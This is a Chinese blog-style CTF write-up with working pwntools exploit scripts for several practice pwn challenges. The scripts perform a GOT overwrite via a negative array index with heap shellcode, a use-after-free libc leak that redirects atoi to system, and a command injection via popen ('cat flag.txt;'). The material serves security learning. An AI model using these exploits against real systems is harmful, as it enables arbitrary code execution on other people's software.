那么,通過陣列越界,我們可以把一些函式的GOT表內容修改為堆指標,由于程式NX保護是關閉的,
那么堆疊里的資料也可以當成指令執行,那么我們在堆里布置shellcode即可

wp1

wp2

兩篇wp結合就無敵,

這是修改atoi的got

#coding:utf8  
    from pwn import *  
      
    sh = process('./pwnh21')  
    #sh = remote('111.198.29.45',30061)  
    #沒有不行
    context(os='linux',arch='amd64')  
    def create(index,size,content):  
       sh.sendlineafter('your choice>>','1')  
       sh.sendlineafter('index:',str(index))   #這地方注意str()
       sh.sendlineafter('size:',str(size))  
       sh.sendafter('content:',content)  
       #這個地方也要注意  /嘆氣
       #還是send跟sendline的區別  就多送一個位元組的問題
       #就在這里產生了如此深遠的影響  
      
    def delete(index):  
       sh.sendlineafter('your choice>>','4')  
       sh.sendlineafter('index:',str(index))  
      
    #rax = 0 jmp short next_chunk  
    code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')  
    #rax = 0x3B jmp short next_chunk  
    code1= (asm('mov eax,0x3B') + '\xeb\x19') 
    #rsi = 0 jmp short next_chunk  
    #move占倆
    code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
    #rdi = 0 jmp short next_chunk  
    code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')  
    #系統呼叫  
    code4 = (asm('syscall').ljust(7,'\x90'))  
      
    create(0,8,'a'*7)  
    create(1,8,code1)  
    create(2,8,code2)  
    create(3,8,code3)  
    create(4,8,code4)  
    #洗掉第一個堆塊  
    delete(0)  
      
    #把第一個堆塊申請回來,存入指令,并且把堆指標賦值給陣列的-8下標處(atoi的GOT表處),即修改了atoi的GOT表  
    create(-8,8,code0)  
    #getshell  
    sh.sendlineafter('your choice>>','/bin/sh')  
    sh.interactive()  

這是修改free的got

from pwn import *
context.log_level='debug'
context.update(arch='amd64')#沒有不行
#io=process("./note")
io=remote("111.198.29.45",59605)
def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申請為最大堆塊8位元組
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)

io.interactive()
io.close()

小貼士:以后看著長這樣的 他就是申請一個堆

在這里插入圖片描述
在這里插入圖片描述它每次那個堆里面都會拿最后一個位元組來存0
你看那個for的條件就知道了,

17 supermarket

有幾個鏈接對這道題很有幫助
首先是這道題的分析
另一個分析
然后是這道題包括上面堆漏洞提到的fastbin
fastbin的利用
這塊知識的一個延伸
然后這道題的unsorted bin
然后聯系起來的溢位利用FILE結構體
最后是對FILE結構體的解釋

應對這種分析起來有些復雜的程式,就先跑一跑,立馬清晰很多,

在這里插入圖片描述
這題最重要的是你得首先分析出它有個結構體來

在這里插入圖片描述
在這里面對其分析,s2陣列里面存的是地址,所以就有后面的(&s2)[v5] + 5 類似這樣的東西,這就是結構體,

這題也是分成了Dynelf跟Libcsearcher

下面這是LibcSearcher

#coding:utf-8
from pwn import *
 
# context.log_level = 'debug'
debug = 1 
 
if debug == 1:
    r = process('./supermarket')
    # gdb.attach(r)
else:
    r = remote('111.198.29.45', 56608)
 
 
def add(name, price, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('1\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('price:')
    r.send(str(price) + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(str(description) + '\n')
    
 
def dele(name):
    r.recvuntil('your choice>> ')
    r.send('2\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
def lis():
    r.recvuntil('your choice>> ')
    r.send('3\n')
    r.recvuntil('all  commodities info list below:\n')
    return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]
 
def changePrice(name, price):
    r.recvuntil('your choice>> ')
    r.send('4\n')
 
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('input the value you want to cut or rise in:')
    r.send(str(price) + '\n')
 
def changeDes(name, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('5\n')
    
    r.recvuntil('name:')
    r.send(name + '\n')
 
    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')
 
    r.recvuntil('description:')
    r.send(description + '\n')
 
def exit():
    r.recvuntil('your choice>> ')
    r.send('6\n')
 
 
add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')
 
def leak_one(address):
    changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
    res = lis().split('des.')[-1]
    if(res == '\n'):
        return '\x00'
    return res[0]
 
def leak(address):
    content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
    log.info('%#x => %#x'%(address, u32(content)))
    return content
 
d = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')
 
r.interactive()

然后是LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
sh = remote('111.198.29.45',55879)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
def show():  
   sh.sendlineafter('your choice>>','3')  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用來做分隔作用,防止塊合并  
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何資料,因為我們發送的資料寫入到的是一個被free的塊(仔細思考一下這句話),這會導致后面malloc時出錯  
edit(0,0x90,'')  
#現在node2將被分配到node0的原description處  
create(2,0x20,'d'*0x10)  
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由于沒有把realloc回傳的指標賦值給node0->description,因此node0->description還是原來那個地址處,現在存的是node1  
#因此edit(0)就是編輯node1的結構體,我們通過修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#泄露資訊  
show()  
sh.recvuntil('2: price.20, des.')  
#泄露atoi的加載地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
libc = LibcSearcher('atoi',atoi_addr)  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,將它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
sh.interactive()  

有點自己的理解
這題還是基于UAF的思想,我感覺UAF他就是一個指標干不了的事情讓另一個指標去給它干,比如這個題,create2不能去修改自己chunk內容做到泄露地址,于是就把這個事情交給create0,讓它來完成,

為了理解他的利用程序,我還畫了個圖……

在這里插入圖片描述

我深刻感覺這個題是這18個里面最難的了吧……

18 secret-file

popen函式的使用

這個題難在對里面亂七八糟邏輯的分析,

介紹幾個函式,方便理解,
原型:char *strrchr(const char *str, char c);
找一個字符c在另一個字串str中末次出現的位置(也就是從str的右側開始查找字符c首次出現的位置),并回傳從字串中的這個位置起,一直到字串結束的所有字符,如果未能找到指定字符,那么函式將回傳NULL,

大佬的wp

#短短幾句 真難  /嘆氣
from pwn import *  
import hashlib  
sh = remote('111.198.29.45',31436)  
padding = 'a'*0x100  
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  
sh.sendline(payload)  
sh.interactive() 

總結

我想對這里面所有值得注意的漏洞點進行一個總結方便以后能迅速找到漏洞
堆疊溢位的一些函式 read strcpy gets getline strcat……
陣列下標越界,也就是陣列索引時沒有檢查邊界
函式指標型別強制轉換
格式化字串的printf家族
申請字串空間小于允許讀入的字串個數

有幾天主線
從堆疊漏洞到堆漏洞的過度
從新手區最后libc的引入到沒有libc庫需要通過堆疊溢位泄露函式地址再到需要劫持GOT表泄露地址再到需要通過堆漏洞劫持GOT表泄露地址
堆漏洞的進入 開始簡單的UAF跟堆shellcode
里面也有一下旁支
比如popen函式
fini.array的覆寫
shutdown功能

先就這吧,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/182294.html

標籤:其他

上一篇:醫療行業的資訊化建設

下一篇:fastjson中JSON.toJSONString記憶體泄露如何解決

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • vue移動端上拉加載

    可能做得過于簡單或者比較low,請各位大佬留情,一起探討技術 ......

    uj5u.com 2020-09-10 04:38:07 more
  • 優美網站首頁,頂部多層導航

    一個個人用的瀏覽器首頁,可以把一下常用的網站放在這里,平常打開會比較方便。 第一步,HTML代碼 <script src=https://www.cnblogs.com/szharf/p/"js/jquery-3.4.1.min.js"></script> <div id="navigate"> <ul> <li class="labels labels_1"> ......

    uj5u.com 2020-09-10 04:38:47 more
  • 頁面為要加<!DOCTYPE html>

    最近因為寫一個js函式,需要用到$(window).height(); 由于手寫demo的時候,過于自信,其實對前端方面的認識也不夠體系,用文本檔案直接敲出來的html代碼,第一行沒有加上<!DOCTYPE html> 導致了$(window).height();的結果直接是整個document的高 ......

    uj5u.com 2020-09-10 04:38:52 more
  • WordPress網站程式手動升級要做好資料備份

    WordPress博客網站程式在進行升級前,必須要做好網站資料的備份,這個問題良家佐言是遇見過的;在剛開始接觸WordPress博客程式的時候,因為升級問題和博客網站的修改的一些嘗試,良家佐言是吃盡了苦頭。因為購買的是西部數碼的空間和域名,每當佐言把自己的WordPress博客網站搞到一塌糊涂的時候 ......

    uj5u.com 2020-09-10 04:39:30 more
  • WordPress程式不能升級為5.4.2版本的原因

    WordPress是一款個人博客系統,受到英文博客愛好者和中文博客愛好者的追捧,并逐步演化成一款內容管理系統軟體;它是使用PHP語言和MySQL資料庫開發的,用戶可以在支持PHP和MySQL資料庫的服務器上使用自己的博客。每一次WordPress程式的更新,就會牽動無數WordPress愛好者的心, ......

    uj5u.com 2020-09-10 04:39:49 more
  • 使用CSS3的偽元素進行首字母下沉和首行改變樣式

    網頁中常見的一種效果,首字改變樣式或者首行改變樣式,效果如下圖。 代碼: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, ......

    uj5u.com 2020-09-10 04:40:09 more
  • 關于a標簽的講解

    什么是a標簽? <a> 標簽定義超鏈接,用于從一個頁面鏈接到另一個頁面。 <a> 元素最重要的屬性是 href 屬性,它指定鏈接的目標。 a標簽的語法格式:<a href=https://www.cnblogs.com/summerxbc/p/"指定要跳轉的目標界面的鏈接">需要展示給用戶看見的內容</a> a標簽 在所有瀏覽器中,鏈接的默認外觀如下: 未被訪問的鏈接帶 ......

    uj5u.com 2020-09-10 04:40:11 more
  • 前端輪播圖

    在需要輪播的頁面是引入swiper.min.js和swiper.min.css swiper.min.js地址: 鏈接:https://pan.baidu.com/s/15Uh516YHa4CV3X-RyjEIWw 提取碼:4aks swiper.min.css地址 鏈接:https://pan.b ......

    uj5u.com 2020-09-10 04:40:13 more
  • 如何設定html中的背景圖片(全屏顯示,且不拉伸)

    1 <style>2 body{background-image:url(https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture); 3 background-size:cover;background ......

    uj5u.com 2020-09-10 04:40:16 more
  • Java學習——HTML詳解(上)

    HTML詳解 初識HTML Hyper Text Markup Language(超文本標記語言) 1 <!--DOCTYPE:告訴瀏覽器我們要使用什么規范--> 2 <!DOCTYPE html> 3 <html lang="en"> 4 <head> 5 <!--meta 描述性的標簽,描述一些 ......

    uj5u.com 2020-09-10 04:40:33 more
最新发布
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 07:59:23 more
  • 生產事故-走近科學之消失的JWT

    入職多年,面對生產環境,盡管都是小心翼翼,慎之又慎,還是難免捅出簍子。輕則滿頭大汗,面紅耳赤。重則系統停擺,損失資金。每一個生產事故的背后,都是寶貴的經驗和教訓,都是專案成員的血淚史。為了更好地防范和遏制今后的各類事故,特開此專題,長期更新和記錄大大小小的各類事故。有些是親身經歷,有些是經人耳傳口授 ......

    uj5u.com 2023-04-18 07:55:04 more
  • 記錄--Canvas實作打飛字游戲

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 打開游戲界面,看到一個畫面簡潔、卻又富有挑戰性的游戲。螢屏上,有一個白色的矩形框,里面不斷下落著各種單詞,而我需要迅速地輸入這些單詞。如果我輸入的單詞與螢屏上的單詞匹配,那么我就可以獲得得分;如果我輸入的單詞錯誤或者時間過長,那么我就會輸 ......

    uj5u.com 2023-04-04 08:35:30 more
  • 了解 HTTP 看這一篇就夠

    在學習網路之前,了解它的歷史能夠幫助我們明白為何它會發展為如今這個樣子,引發探究網路的興趣。下面的這張圖片就展示了“互聯網”誕生至今的發展歷程。 ......

    uj5u.com 2023-03-16 11:00:15 more
  • 藍牙-低功耗中心設備

    //11.開啟藍牙配接器 openBluetoothAdapter //21.開始搜索藍牙設備 startBluetoothDevicesDiscovery //31.開啟監聽搜索藍牙設備 onBluetoothDeviceFound //30.停止監聽搜索藍牙設備 offBluetoothDevi ......

    uj5u.com 2023-03-15 09:06:45 more
  • canvas畫板(滑鼠和觸摸)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>canves</title> <style> #canvas { cursor:url(../images/pen.png),crosshair; } #canvasdiv{ bo ......

    uj5u.com 2023-02-15 08:56:31 more
  • 手機端H5 實作自定義拍照界面

    手機端 H5 實作自定義拍照界面也可以使用 MediaDevices API 和 <video> 標簽來實作,和在桌面端做法基本一致。 首先,使用 MediaDevices.getUserMedia() 方法獲取攝像頭媒體流,并將其傳遞給 <video> 標簽進行渲染。 接著,使用 HTML 的 < ......

    uj5u.com 2023-01-12 07:58:22 more
  • 記錄--短視頻滑動播放在 H5 下的實作

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 短視頻已經無數不在了,但是主體還是使用 app 來承載的。本文講述 H5 如何實作 app 的視頻滑動體驗。 無聲勝有聲,一圖頂百辯,且看下圖: 網址鏈接(需在微信或者手Q中瀏覽) 從上圖可以看到,我們主要實作的功能也是本文要講解的有: ......

    uj5u.com 2023-01-04 07:29:05 more
  • 一文讀懂 HTTP/1 HTTP/2 HTTP/3

    從 1989 年萬維網(www)誕生,HTTP(HyperText Transfer Protocol)經歷了眾多版本迭代,WebSocket 也在期間萌芽。1991 年 HTTP0.9 被發明。1996 年出現了 HTTP1.0。2015 年 HTTP2 正式發布。2020 年 HTTP3 或能正... ......

    uj5u.com 2022-12-24 06:56:02 more
  • 【HTML基礎篇002】HTML之form表單超詳解

    ??一、form表單是什么

    ??二、form表單的屬性

    ??三、input中的各種Type屬性值

    ??四、標簽 ......

    uj5u.com 2022-12-18 07:17:06 more